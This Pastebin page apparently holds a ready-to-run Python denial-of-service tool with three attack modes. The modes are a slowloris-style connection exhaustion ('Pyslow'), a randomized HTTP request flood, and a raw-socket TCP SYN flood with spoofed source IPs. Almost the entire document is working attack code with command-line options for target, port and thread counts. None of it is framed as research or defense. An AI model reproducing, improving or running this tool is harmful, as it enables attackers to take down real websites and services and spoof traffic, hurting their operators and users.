Advertisement
Guest User

Untitled

a guest
Apr 26th, 2018
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.73 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import os
  4. import sys
  5. import json
  6. import time
  7. import string
  8. import signal
  9. import random
  10. import requests
  11. import colorama
  12. import socket
  13. import traceback
  14. from urllib.parse import urlparse
  15. from http import client
  16. from struct import *
  17. from threading import *
  18. from argparse import ArgumentParser, RawTextHelpFormatter
  19. from termcolor import colored, cprint
  20.  
  21. def get_fake_ip():
  22.     rand = []
  23.  
  24.     for x in range(4):
  25.         rand.append(random.randrange(0, 256))
  26.  
  27.     ip = '{0}.{1}.{2}.{3}'.format(rand[0],rand[1],rand[2],rand[3])
  28.    
  29.     return ip
  30.  
  31. def check_target(target):
  32.     try:
  33.         ip = socket.gethostbyname(target)
  34.     except:
  35.         sys.exit('[---] Can\'t resolve host:Unknow host!')
  36.     return ip
  37.  
  38.  
  39. def get_useragents():
  40.     uagents = []
  41.     uagents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36')
  42.     uagents.append('(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  43.     uagents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  44.     uagents.append('Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50')
  45.     uagents.append('Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)')
  46.     uagents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  47.     uagents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  48.     uagents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  49.     return uagents
  50.  
  51. def get_referers():
  52.     referers = []
  53.     referers.append('http://www.bing.com/search?q=%40&count=50&first=0')
  54.     referers.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8')
  55.     return referers
  56.  
  57. def get_cache_controls():
  58.     # https://developer.mozilla.org/ru/docs/Web/HTTP/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8/Cache-Control
  59.     cache_controls = ['no-cache', 'no-store', 'max-age=' + str(random.randint(0,10)), 'max-stale=' + str(random.randint(0,100)), 'min-fresh=' + str(random.randint(0,10)), 'notransform', 'only-if-cache']
  60.     return cache_controls
  61.  
  62. def get_accept_encodings():
  63.     # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Encoding
  64.     accept_encodings = ['compress, gzip', '', '*', 'compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0']
  65.     return accept_encodings
  66.  
  67. def get_accept_charsets():
  68.     # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Charset
  69.     accept_charsets = ['ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15']
  70.     return accept_charsets
  71.  
  72. class Pyslow:
  73.     def __init__(self, target, port, timeout, threads, sleep):
  74.         self.target = target
  75.         self.port = port
  76.         self.timeout = timeout
  77.         self.threads = threads
  78.         self.sleep = sleep
  79.         self.method = ['GET','POST']
  80.         self.packets_count = 0
  81.  
  82.     def get_packet(self):
  83.         text = random.choice(self.method) + ' /' + str(random.randint(1,999999999)) + ' HTTP/1.1\r\n' + \
  84.               'Host:' + self.target+'\r\n' + \
  85.               'User-Agent:' + random.choice(get_useragents()) + '\r\n' + \
  86.               'Content-Length: 42\r\n'
  87.         packet = text.encode('utf-8')
  88.  
  89.         return packet
  90.  
  91.     def build_socket(self):
  92.         try:
  93.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
  94.             sock.settimeout(self.timeout)
  95.             sock.connect((self.target, int(self.port)))
  96.             self.packets_count += 3
  97.  
  98.             if sock:
  99.                 # or sendall
  100.                 sock.sendto(self.get_packet(), (self.target, self.port))
  101.                 # sock.sendall(b'X-a: b\r\n')
  102.                 self.packets_count += 1
  103.  
  104.         except KeyboardInterrupt:
  105.             sys.exit('[---] Canceled by user')
  106.         except Exception as e:
  107.             print_exc(e)
  108.  
  109.         return sock
  110.  
  111.     def do_connection(self):
  112.         socks_count = 0
  113.         fails_count = 0
  114.         created_socks = []
  115.  
  116.         print('Building sockets...')
  117.         while socks_count < self.threads:
  118.             try:
  119.                 sock = self.build_socket()
  120.  
  121.                 if sock:
  122.                     # Save socket object, because sockets must be opened and object must be exists
  123.                     created_socks.append(sock)
  124.                     socks_count += 1
  125.                     print('Opened socks: {socks_count}'.format(socks_count=socks_count))
  126.  
  127.             except KeyboardInterrupt:
  128.                 print('[---] Canceled by user')
  129.             except Exception:
  130.                 fails_count += 1
  131.  
  132.         print('Was send {packets_count} packets successfully.Now going to sleep for {sleep_time} seconds'.format(packets_count=self.packets_count, sleep_time=self.sleep))
  133.         # After sleep all existed sockets will be destroyed
  134.         time.sleep(self.sleep)
  135.  
  136.  
  137. class Requester(Thread):
  138.  
  139.     def __init__(self, target, port):
  140.         super(Requester, self).__init__()
  141.         self.target = target
  142.         self.port = port
  143.         self.ssl = False
  144.         self.connections = []
  145.         url_type = urlparse(self.target)
  146.  
  147.         if url_type.scheme == 'https':
  148.             self.ssl = True
  149.             self.port = 443
  150.         elif port is None:
  151.             self.port = 80
  152.  
  153.     def get_header(self):
  154.         referer = random.choice(get_referers())
  155.         cache_control = random.choice(get_cache_controls())
  156.         accept_encoding = random.choice(get_accept_encodings())
  157.         user_agent = random.choice(get_useragents())
  158.  
  159.         http_header = {
  160.             'User-Agent' : user_agent,
  161.             'Cache-Control' : cache_control,
  162.             'Accept-Encoding' : accept_encoding,
  163.             'Keep-Alive' : '42',
  164.             'Host' : self.target,
  165.             'Referer' : referer
  166.         }
  167.  
  168.         return http_header
  169.  
  170.     def get_random_url_string(self):
  171.         response = []
  172.         chars = list(string.ascii_letters + string.digits)
  173.  
  174.         for x in range(3):
  175.             text = ''.join(random.choice(chars) for _ in range(random.randint(7,14)))
  176.             response.append(text)
  177.  
  178.         return '&'.join(response)
  179.  
  180.     def get_url(self):
  181.         return self.target + '?' + self.get_random_url_string()
  182.  
  183.     def get_data(self):
  184.         url = self.get_url()
  185.         http_header = self.get_header()
  186.  
  187.         return (url, http_header)
  188.  
  189.     def run(self):
  190.         try:
  191.  
  192.             for _ in range(20):
  193.                 if self.ssl:
  194.                     conn = client.HTTPSConnection(self.target, self.port)
  195.                 else:
  196.                     conn = client.HTTPConnection(self.target, self.port)
  197.  
  198.                 self.connections.append(conn)
  199.  
  200.             for conn in self.connections:
  201.                 url, http_header = self.get_data()
  202.                 method = random.choice(['GET', 'POST'])
  203.                 conn.request(method, url, None, http_header)
  204.  
  205.         except KeyboardInterrupt:
  206.             sys.exit('[---] Canceled by user')
  207.         except Exception as e:
  208.             print_exc(e)
  209.         finally:
  210.             self.close_connections()
  211.  
  212.     def close_connections(self):
  213.         for conn in self.connections:
  214.             try:
  215.                 conn.close()
  216.             except:
  217.                 pass
  218.  
  219.  
  220. class Synflood(Thread):
  221.  
  222.     def __init__(self, target, port, ip, sock=None):
  223.         super(Synflood, self).__init__()
  224.         self.target = target
  225.         self.ip = ip
  226.         self.port = port
  227.         self.pseudo_header = ''
  228.         self.sock = sock
  229.         self.lock = Lock()
  230.  
  231.     def checksum(self):
  232.         s = 0
  233.         for i in range(0,len(self.pseudo_header), 2):
  234.             w = (self.pseudo_header[i] << 8) + (self.pseudo_header[i+1])
  235.             s = s + w
  236.  
  237.         s = (s>>16) + (s & 0xffff)
  238.         s = ~s & 0xffff
  239.  
  240.         return s
  241.  
  242.     def get_packet(self):
  243.         ihl = 5
  244.         version = 4
  245.         tos = 0
  246.         tot = 40
  247.         id = 54321
  248.         frag_off = 0
  249.         ttl = 64
  250.         protocol = socket.IPPROTO_TCP
  251.         check = 10
  252.         send_addr = socket.inet_aton(self.ip)
  253.         destination_addr = socket.inet_aton(self.target)
  254.         ihl_version = (version << 4) + ihl
  255.  
  256.         ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot, id, frag_off, ttl, protocol, check, send_addr, destination_addr)
  257.  
  258.         source = 54321
  259.         dest = self.port
  260.         seq = 0
  261.         ack_seq = 0
  262.         doff = 5
  263.         fin = 0
  264.         syn = 1
  265.         rst = 0
  266.         ack = 0
  267.         psh = 0
  268.         urg = 0
  269.         window = socket.htons(5840)
  270.         check = 0
  271.         urg_prt = 0
  272.         offset_res = (doff << 4)
  273.         tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5)
  274.  
  275.         tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_prt)
  276.  
  277.         #pseudo header fields
  278.         place = 0
  279.         tcp_length = len(tcp_header)
  280.  
  281.         self.pseudo_header = pack('!4s4sBBH', send_addr, destination_addr, place, protocol, tcp_length)
  282.         self.pseudo_header = self.pseudo_header + tcp_header
  283.  
  284.         tcp_checksum = self.checksum()
  285.  
  286.         tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_prt)
  287.         packet = ip_header + tcp_header
  288.  
  289.         return packet
  290.  
  291.  
  292.     def run(self):
  293.         packet = self.get_packet()
  294.  
  295.         try:
  296.             self.lock.acquire()
  297.             print('Sending packet: {packet}'.format(packet=packet))
  298.             for _ in range(20):
  299.                 self.sock.sendto(packet, (self.target, 8000))
  300.                
  301.         except KeyboardInterrupt:
  302.             sys.exit('[---] Canceled by user')
  303.         except Exception as e:
  304.             print_exc(e)
  305.         finally:
  306.             self.lock.release()
  307.  
  308.  
  309. def print_exc(e):
  310.     print('[---] {exception}'.format(exception=e))
  311.  
  312.  
  313. def parse_arguments():
  314.     parser = ArgumentParser(usage='./%(prog)s -t [target] -p [port] -t [number threads]', formatter_class=RawTextHelpFormatter)
  315.  
  316.     options = parser.add_argument_group('options','')
  317.     options.add_argument('-d', metavar='<ip|domain>', default=False, help='Specify your target such an ip or domain name')
  318.     options.add_argument('-t', metavar='<float>', default=5.0,help='Set timeout for socket')
  319.     options.add_argument('-T', metavar='<int>', default=1000,help='Set threads number for connection (default = 1000)')
  320.     options.add_argument('-p', metavar='<int>', default=80,help='Specify port target (default = 80). Only for pyslow attack')
  321.     options.add_argument('-s', metavar='<int>', default=100,help='Set sleep time for reconnection')
  322.     options.add_argument('-i', metavar='<ip address>', default=False,help='Specify spoofed ip unless use fake ip')
  323.     options.add_argument('-Request',action='store_true',help='Enable request target')
  324.     options.add_argument('-Synflood',action='store_true',help='Enable synflood attack')
  325.     options.add_argument('-Pyslow',action='store_true',help='Enable pyslow attack')
  326.     options.add_argument('--fakeip',action='store_true',default=False,help='Option to create fake ip if not specify spoofed ip')
  327.     args = parser.parse_args()
  328.  
  329.     return args, parser
  330.  
  331. def main():
  332.     args, parser = parse_arguments()
  333.  
  334.     if args.d == False:
  335.         parser.print_help()
  336.         sys.exit()
  337.  
  338.     check_target(args.d)
  339.  
  340.     try:
  341.         target = args.d
  342.         port = int(args.p)
  343.         timeout = float(args.t)
  344.         sleep_time = int(args.s)
  345.         threads = int(args.T)
  346.         ip = get_fake_ip() if not args.i else args.i
  347.     except Exception as e:
  348.         print_exc(e)
  349.  
  350.     if args.Synflood:
  351.         # https://www.binarytides.com/raw-socket-programming-in-python-linux/
  352.         # https://github.com/yywf/python/blob/master/tcp.py
  353.         uid = os.getuid()
  354.         if uid != 0:
  355.             sys.exit('[---] You haven\'t enough permission to run this script')
  356.  
  357.         synsock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  358.         # Include IP headers
  359.         synsock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  360.  
  361.         useful_threads=[]
  362.  
  363.         while True:
  364.             try:
  365.                 for x in range(threads):
  366.                     t = Synflood(target, port, ip, sock=synsock)
  367.                     useful_threads.append(t)
  368.                     t.setDaemon(True)
  369.                     t.start()
  370.  
  371.             except KeyboardInterrupt:
  372.                 sys.exit('[---] Canceled by user')
  373.             finally:
  374.                 for t in useful_threads:
  375.                     t.join()
  376.  
  377.     if args.Request:
  378.         useful_threads = []
  379.         while True:
  380.             try:
  381.                 for x in range(threads):
  382.                     t = Requester(target, port)
  383.                     useful_threads.append(t)
  384.                     t.setDaemon(True)
  385.                     t.start()
  386.  
  387.             except KeyboardInterrupt:
  388.                 sys.exit('[---] Canceled by user')
  389.  
  390.             finally:
  391.                 for t in useful_threads:
  392.                     t.join()
  393.  
  394.     elif args.Pyslow:
  395.         while True:
  396.             try:
  397.                 worker = Pyslow(target, port, timeout, threads, sleep_time)
  398.                 worker.do_connection()
  399.             except KeyboardInterrupt:
  400.                 sys.exit('[---] Canceled by user')
  401.  
  402.     else:
  403.         parser.print_help()
  404.         sys.exit('[---] You must choose attack type')
  405.  
  406.  
  407. if __name__ == '__main__':
  408.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement